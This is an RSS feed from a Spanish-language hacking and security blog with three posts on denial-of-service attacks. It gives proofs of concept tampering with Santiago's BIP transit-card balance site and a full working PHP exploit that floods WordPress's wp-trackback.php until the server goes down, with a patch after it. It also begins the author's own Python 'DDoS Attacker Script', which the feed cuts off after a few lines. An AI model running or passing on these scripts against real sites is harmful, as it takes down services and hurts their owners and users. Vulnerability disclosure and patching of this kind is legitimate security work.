<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; dos</title>
	<atom:link href="http://blog.zerial.org/tag/dos/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en sistema de saldos y movimientos online de la Tarjeta BIP</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 14:10:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[bip]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[proof-of-concept]]></category>
		<category><![CDATA[pruebas de concepto]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[transantiago]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1516</guid>
		<description><![CDATA[Para los que no saben lo que es la tarjeta bip: Este sistema de pago del transporte público de Santiago, tiene un sistema que nos permite monitorear en línea los saldos y los movimientos de nuestra tarjeta y de ésta forma saber dónde cargamos con dinero la tarjeta, en qué buses o metro la usamos, [...]]]></description>
			<content:encoded><![CDATA[<p>Para los que no saben lo que es la <a href="http://tarjetabip.cl" target="_blank">tarjeta bip</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/02/queeslabip.png"><img class="aligncenter size-full wp-image-1528" title="queeslabip" src="http://blog.zerial.org/wp-content/uploads/2010/02/queeslabip.png" alt="" width="652" height="229" /></a></p>
<p>Este sistema de pago del transporte público de Santiago, tiene un sistema que nos permite monitorear en línea los saldos y los movimientos de nuestra tarjeta y de ésta forma saber dónde cargamos con dinero la tarjeta, en qué buses o metro la usamos, cuánto salgo nos queda, etc. Este sistema no es en tiempo real por lo que asumo que no saca los valores directamente de la base de datos del sistema de transporte, además desconozco si tiene permisos para escribir en la base de datos o solamente leer.<br />
El sistema tiene un bug que nos puede permitir, con un poco de ingenio, hacer un ataque de <strong>denegación de servicio distibuido</strong> (DDoS) y dejar el sistema (de saldos y mov. en linea) offline y posiblemente realizar <strong>inyección de código SQL</strong> (SQL-Injection) . No me he puesto a investigar que otro impacto podría tener.</p>
<p><span id="more-1516"></span></p>
<p>El sistema nos permite ver la cantidad de movimientos y saldos de nuestra tarjeta por periodos de mes actual, 60 y 90 días, sin embargo, es posible modificar esos valores alterando el atributo &#8220;value&#8221; del elemento del formulario. Si, así de sencillo.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc1.png"><img class="aligncenter size-full wp-image-1532" title="bip_poc1" src="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc1.png" alt="" width="302" height="74" /></a></p>
<p>Código HTML original:</p>
<pre name="code" class="html">
<select name="cboSeleccion" id="cboSeleccion">
<option value="30">Mes Actual</option>
<option value="60">60 dias</option>
<option value="90">90 dias</option>
</select>
</pre>
<h3>Pruebas de concepto (PoC)</h3>
<p><strong>1.</strong> Modificamos el valor de &#8220;Mes Actual&#8221; por un número negativo.</p>
<pre name="code" class="html">
<select name="cboSeleccion" id="cboSeleccion">
<option value="-5">Mes Actual</option>
<option value="60">60 dias</option>
<option value="90">90 dias</option>
</select>
</pre>
<p>Y ejecutamos la consulta:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc2.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc2.png" alt="" title="bip_poc2" width="442" height="121" class="alignnone size-full wp-image-1535" /></a></p>
<p><strong>2.</strong> Modificamos el valor de &#8220;Mes Actual&#8221; por el número 5.</p>
<pre name="code" class="html">
<select name="cboSeleccion" id="cboSeleccion">
<option value="5">Mes Actual</option>
<option value="60">60 dias</option>
<option value="90">90 dias</option>
</select>
</pre>
<p>Y ejecutamos la consulta:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc3.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc3.png" alt="" title="bip_poc3" width="422" height="562" class="alignnone size-full wp-image-1537" /></a><br />
Si se fijan en la fecha, podrán ver que sólo se mostró información desde hace 5 días.</p>
<p><strong>3.</strong> Modificamos el valor de &#8220;Mes Actual&#8221; por una comilla para generar un error de sintáxis:</p>
<pre name="code" class="html">
<select name="cboSeleccion" id="cboSeleccion">
<option value="'">Mes Actual</option>
<option value="60">60 dias</option>
<option value="90">90 dias</option>
</select>
</pre>
<p>Y ejecutamos la consulta:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc4.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/02/bip_poc4.png" alt="" title="bip_poc4" width="386" height="121" class="alignnone size-full wp-image-1539" /></a></p>
<p>Si cambiamos el valor de &#8220;Mes Actual&#8221; a uno muy alto, por ejemplo <strong>99999999999999999999999999999999999999</strong> podemos ver cómo el sistema ya comienza a comportarse de forma extraña, por ejemplo ver la fecha:</p>
<blockquote><p>Operación:  	Cartola de movimientos<br />
Tarjeta bip!: 	6547XXXXX<br />
Fecha: 	11/02/2010 10:57<br />
<strong>Movimientos desde: 	90/37/-2.7</strong></p></blockquote>
<p>De ésta forma podemos manejar arbitrariamente la consulta.</p>
<p>Queda más que demostrado que el famoso <em>sistema para ver los saldos y movimientos en línea de la tarjeta bip</em> <strong>no está validando</strong> los parametros de entrada y con <strong>un poco de ingenio</strong> podemos realizar distintos tipos de ataques. Se pueden generar simultaneamente consultas <strong>pesadas</strong> en el servidor, provocando su caída. Tambien, con un poco más de conocimientos y habilidades es posible lograr la inyección de código sql en la consulta.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip%2F&amp;linkname=Vulnerabilidad%20en%20sistema%20de%20saldos%20y%20movimientos%20online%20de%20la%20Tarjeta%20BIP">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-sistema-de-saldos-y-movimientos-online-de-la-tarjeta-bip/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DDoS Attacker Script: Peticiones automatizadas para lograr DoS</title>
		<link>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/</link>
		<comments>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 19:26:52 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=709</guid>
		<description><![CDATA[&#8220;DDoS Attacker Script&#8221; es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection. El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada: #!/usr/bin/python [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<em>DDoS Attacker Script</em>&#8221; es un pequeño script que he escrito en <strong>python</strong> que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.</p>
<p>El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">socket</span>, <span class="kw3">sys</span>, <span class="kw3">os</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;][ Attacking &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot; ... ][&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;injecting &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">def</span> attack<span class="br0">&#40;</span><span class="br0">&#41;</span>:&nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">#pid = os.fork()</span></div>
</li>
<li class="li1">
